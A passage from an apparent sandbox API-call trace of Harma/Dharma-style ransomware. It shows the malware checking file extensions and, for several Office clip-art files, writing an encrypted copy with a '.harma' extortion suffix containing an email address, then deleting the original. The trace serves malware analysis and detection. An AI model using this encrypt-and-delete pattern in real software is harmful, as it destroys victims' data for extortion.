Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.004] lstrlenW (lpString=".zip") returned 4 [0155.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.004] lstrlenW (lpString=".rar") returned 4 [0155.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.005] lstrlenW (lpString=".bz2") returned 4 [0155.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.005] lstrlenW (lpString=".7z") returned 3 [0155.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.005] lstrlenW (lpString=".dbf") returned 4 [0155.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.005] lstrlenW (lpString=".1cd") returned 4 [0155.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0155.005] lstrlenW (lpString=".jpg") returned 4 [0155.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.005] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.005] lstrlenW (lpString="FD00799_.WMF") returned 12 [0155.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.220] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=13968) returned 1 [0155.220] CloseHandle (hObject=0x388) returned 1 [0155.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0155.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.272] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.272] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0155.273] GetLastError () returned 0x0 [0155.273] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3690, lpOverlapped=0x0) returned 1 [0155.354] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0155.355] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.355] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.355] SetEndOfFile (hFile=0x338) returned 1 [0155.355] CloseHandle (hObject=0x338) returned 1 [0155.355] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.355] SetEndOfFile (hFile=0x350) returned 1 [0155.358] CloseHandle (hObject=0x350) returned 1 [0155.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0155.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.359] lstrlenW (lpString=".doc") returned 4 [0155.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.359] lstrlenW (lpString=".docx") returned 5 [0155.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.359] lstrlenW (lpString=".pdf") returned 4 [0155.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.359] lstrlenW (lpString=".xls") returned 4 [0155.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.359] lstrlenW (lpString=".xlsx") returned 5 [0155.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.359] lstrlenW (lpString=".ppt") returned 4 [0155.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.359] lstrlenW (lpString=".zip") returned 4 [0155.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.359] lstrlenW (lpString=".rar") returned 4 [0155.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString=".bz2") returned 4 [0155.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString=".7z") returned 3 [0155.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.360] lstrlenW (lpString=".dbf") returned 4 [0155.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.360] lstrlenW (lpString=".1cd") returned 4 [0155.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.360] lstrlenW (lpString=".jpg") returned 4 [0155.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.360] lstrlenW (lpString=".doc") returned 4 [0155.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString=".docx") returned 5 [0155.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.360] lstrlenW (lpString=".pdf") returned 4 [0155.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.360] lstrlenW (lpString=".xls") returned 4 [0155.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.360] lstrlenW (lpString=".xlsx") returned 5 [0155.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.360] lstrlenW (lpString=".ppt") returned 4 [0155.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.361] lstrlenW (lpString=".zip") returned 4 [0155.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.361] lstrlenW (lpString=".rar") returned 4 [0155.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.361] lstrlenW (lpString=".bz2") returned 4 [0155.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.361] lstrlenW (lpString=".7z") returned 3 [0155.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.361] lstrlenW (lpString=".dbf") returned 4 [0155.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.361] lstrlenW (lpString=".1cd") returned 4 [0155.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0155.361] lstrlenW (lpString=".jpg") returned 4 [0155.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.361] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.361] lstrlenW (lpString="FD01084_.WMF") returned 12 [0155.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.364] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2412) returned 1 [0155.364] CloseHandle (hObject=0x350) returned 1 [0155.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0155.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0155.365] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.365] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0155.365] GetLastError () returned 0x0 [0155.366] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x96c, lpOverlapped=0x0) returned 1 [0155.449] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x970, lpOverlapped=0x0) returned 1 [0155.450] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.452] WriteFile (in: hFile=0x338, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.452] SetEndOfFile (hFile=0x338) returned 1 [0155.452] CloseHandle (hObject=0x338) returned 1 [0155.452] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.452] SetEndOfFile (hFile=0x350) returned 1 [0155.455] CloseHandle (hObject=0x350) returned 1 [0155.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0155.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.456] lstrlenW (lpString=".doc") returned 4 [0155.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.456] lstrlenW (lpString=".docx") returned 5 [0155.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.456] lstrlenW (lpString=".pdf") returned 4 [0155.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.456] lstrlenW (lpString=".xls") returned 4 [0155.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.456] lstrlenW (lpString=".xlsx") returned 5 [0155.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.456] lstrlenW (lpString=".ppt") returned 4 [0155.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString=".zip") returned 4 [0155.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.457] lstrlenW (lpString=".rar") returned 4 [0155.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString=".bz2") returned 4 [0155.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString=".7z") returned 3 [0155.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString=".dbf") returned 4 [0155.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString=".1cd") returned 4 [0155.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString=".jpg") returned 4 [0155.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.457] lstrlenW (lpString=".doc") returned 4 [0155.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString=".docx") returned 5 [0155.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.457] lstrlenW (lpString=".pdf") returned 4 [0155.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.457] lstrlenW (lpString=".xls") returned 4 [0155.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.458] lstrlenW (lpString=".xlsx") returned 5 [0155.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.458] lstrlenW (lpString=".ppt") returned 4 [0155.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.458] lstrlenW (lpString=".zip") returned 4 [0155.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.458] lstrlenW (lpString=".rar") returned 4 [0155.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.458] lstrlenW (lpString=".bz2") returned 4 [0155.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.458] lstrlenW (lpString=".7z") returned 3 [0155.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.458] lstrlenW (lpString=".dbf") returned 4 [0155.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.458] lstrlenW (lpString=".1cd") returned 4 [0155.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0155.458] lstrlenW (lpString=".jpg") returned 4 [0155.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.458] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.458] lstrlenW (lpString="FD01191_.WMF") returned 12 [0155.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.468] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3964) returned 1 [0156.468] CloseHandle (hObject=0x374) returned 1 [0156.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0156.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.757] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.757] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.758] GetLastError () returned 0x0 [0156.758] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xf7c, lpOverlapped=0x0) returned 1 [0156.841] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0156.842] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.842] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.843] SetEndOfFile (hFile=0x360) returned 1 [0156.843] CloseHandle (hObject=0x360) returned 1 [0156.843] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.843] SetEndOfFile (hFile=0x374) returned 1 [0156.845] CloseHandle (hObject=0x374) returned 1 [0156.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0156.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.846] lstrlenW (lpString=".doc") returned 4 [0156.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.846] lstrlenW (lpString=".docx") returned 5 [0156.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.846] lstrlenW (lpString=".pdf") returned 4 [0156.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.846] lstrlenW (lpString=".xls") returned 4 [0156.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.846] lstrlenW (lpString=".xlsx") returned 5 [0156.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.846] lstrlenW (lpString=".ppt") returned 4 [0156.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.846] lstrlenW (lpString=".zip") returned 4 [0156.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.846] lstrlenW (lpString=".rar") returned 4 [0156.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.846] lstrlenW (lpString=".bz2") returned 4 [0156.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.846] lstrlenW (lpString=".7z") returned 3 [0156.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.846] lstrlenW (lpString=".dbf") returned 4 [0156.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.847] lstrlenW (lpString=".1cd") returned 4 [0156.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.847] lstrlenW (lpString=".jpg") returned 4 [0156.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.847] lstrlenW (lpString=".doc") returned 4 [0156.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString=".docx") returned 5 [0156.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.847] lstrlenW (lpString=".pdf") returned 4 [0156.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString=".xls") returned 4 [0156.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.847] lstrlenW (lpString=".xlsx") returned 5 [0156.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.847] lstrlenW (lpString=".ppt") returned 4 [0156.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.847] lstrlenW (lpString=".zip") returned 4 [0156.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.847] lstrlenW (lpString=".rar") returned 4 [0156.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString=".bz2") returned 4 [0156.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.847] lstrlenW (lpString=".7z") returned 3 [0156.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0156.848] lstrlenW (lpString=".dbf") returned 4 [0156.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.848] lstrlenW (lpString="C:\\Program 